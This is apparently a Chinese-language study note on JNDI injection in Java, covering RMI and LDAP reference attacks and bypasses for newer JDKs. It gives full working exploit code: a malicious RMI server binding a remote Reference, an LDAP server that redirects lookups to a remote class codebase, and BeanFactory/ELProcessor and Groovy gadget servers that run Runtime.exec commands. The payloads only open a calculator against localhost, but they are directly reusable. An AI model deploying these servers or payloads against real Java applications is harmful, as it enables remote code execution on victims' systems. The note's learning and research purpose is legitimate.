JNDI注入

推荐链接:https://goodapple.top/archives/696

概念定义

首先在jndi中常见的有四个协议,一般是将一个命名空间来存储java对象,这里就可能存在一种可能如果通过字符串来解析为一个java对象的话就可能会存在利用的问题

1
2
3
4
LDAP  //轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI //JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS //域名服务
CORBA //公共对象请求代理体系结构

JNDI+RMI注入

在服务器里面部署恶意的的对象,在客户端进行加载的时候就会触发恶意代码,这里就需要先部署好前置的服务器

在jndi里面结合rmi就一共有两种运用方式,在jndi中它需要创建一个上下文,就相当于一个存放的容器,其中的容器的绑定对象形式不一样,它可以像rmi一样直接绑定远程对象就是打原生的rmi反序列化

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//server
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1089/luokuang",new JNDI1Object());
}
}

//client
public class JNDI1Client {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("127.0.0.1",1089);
JNDI1Interface stub = (JNDI1Interface) register.lookup("luokuang");
System.out.println(stub.aaa());
}
}

这里调用的是InitialContext的rebind方法,但是跟进就发现其实还是调用了原生的rmi的rebind方法

先是调用到RegistryContext的rebind方法

接下来就调用到了RegistryImpl_Stub的rebind方法

所以如果通过直接绑定远程对象其实可以和原生rmi一样进行攻击,但是这个其实不算真正的JNDI注入,下面就是通过jndi绑定对象支持绑定引用对象,所以这里就通过绑定一个恶意的引用对象来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//server
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
//Reference reference = new Reference("rce", "rce", "http://127.0.0.1:9000/");
Reference reference = new Reference("test", "test", "http://127.0.0.1:9000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
initialContext.rebind("rmi://localhost:1089/luokuang",referenceWrapper);
}
}

//client
public class JNDI1Client {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:1089/luokuang";
InitialContext initialContext = new InitialContext();
Object lookup = initialContext.lookup(url);
}
}

本地通过python起一个http服务,成功执行代码

这里的主要思想就是通过我们创建一个恶意的服务,当目标服务器进行远程调用时就进行触发

下面就去看看具体的执行代码的流程

一路lookup调用,最后到达RegistryContext的lookup调用到decodeObject方法里面,最终走出RegistryContext去到NamingManager里面

这里其实就已经走去了rmi,去往了一个通用的类,一直走到NamingManager的getObjectInstance方法里面,调用getObjectFactoryFromReference来进行类加载

所以其实不只是jndi与rmi结合有问题,其它协议也是一样

JNDI+LDAP注入

基本介绍

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

1
2
3
4
5
6
dn :一条记录的详细位置
dc :一条记录所属区域 (哪一颗树)
ou :一条记录所属组织 (哪一个分支)
cn/uid:一条记录的名字/ID (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的"基准DN"

攻击流程

这里主要通过导入依赖来创建环境

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

创建一个ldap服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package JNDI_ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_server {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:9000/#test"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

创建受害的服务端

1
2
3
4
5
6
7
8
9
10
11
package JNDI_ldap;

import javax.naming.InitialContext;

public class LDAP_client {
public static void main(String[] args) throws Exception {
String string = "ldap://localhost:9999/test";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

成功执行

高版本jdk绕过(tomcat8环境)

补丁的形式

高版本的补丁形式,一般在执行远程的代码时会进行检查,这里主要体现在RegistryContext的decodeObject方法里面,这里会增加一个属性trustURLCodebase来进行判断

绕过直接运行就会出现

这里可以看到它的默认值为false,如果要远程加载就需要通过手动将它的值进行修改为true

绕过方法

tomcat8

在jdk1.8 141到jdk1.8 191之间对rmi增加了上述补丁,但是ldap没有,还是可以用

但是在jdk1.8 191之后就不支持远程对象加载了,但是我们还是可以通过让它来绑定本地的类来达到命令执行的效果,但是这个显然也是需要有一定条件的,原生jdk里面就比较难实现

现在其实加载引用是可以实现,但是无法远程获取工厂,所以就是看有没有依赖的类中存在一个原生的工厂导致可以被利用

主要看实现ObjectFactory接口的类,里面是否满足,通过调用其getObjectInstance来实现命令执行

导入tomcat8依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>

这里就需要有tomcat8的依赖,它的依赖里面就存在一个类BeanFactory满足,tomcat其它版本都会有所改变所以可能不行

这里看一下为什么它可以被利用,它的getObjectInstance方法里面调用了invoke来反射调用类的方法,具体就可以不用太看,因为有点长,主要看看如何利用

首先到达BeanFactory的getObjectInstance方法,里面先是加载了ELProcessor类

这里再进行初始化操作

最终跟进invoke方法

跟进到了ELProcessor里面,这里再执行危险函数

server

1
2
3
4
5
6
7
8
9
10
11
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1089/luokuang",resourceRef);

}
}

Client

1
2
3
4
5
6
7
public class JNDI1Client {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:1089/luokuang";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

Groovy

这里在利用tomcat8的依赖下BeanFactory通过ELProcessor被利用外,还可以通过Groovy来实现命令执行

依赖

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
resourceRef.add(new StringRefAddr("faster",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("luokuang", referenceWrapper);
System.out.println("Registry运行中......");
}
}

执行成功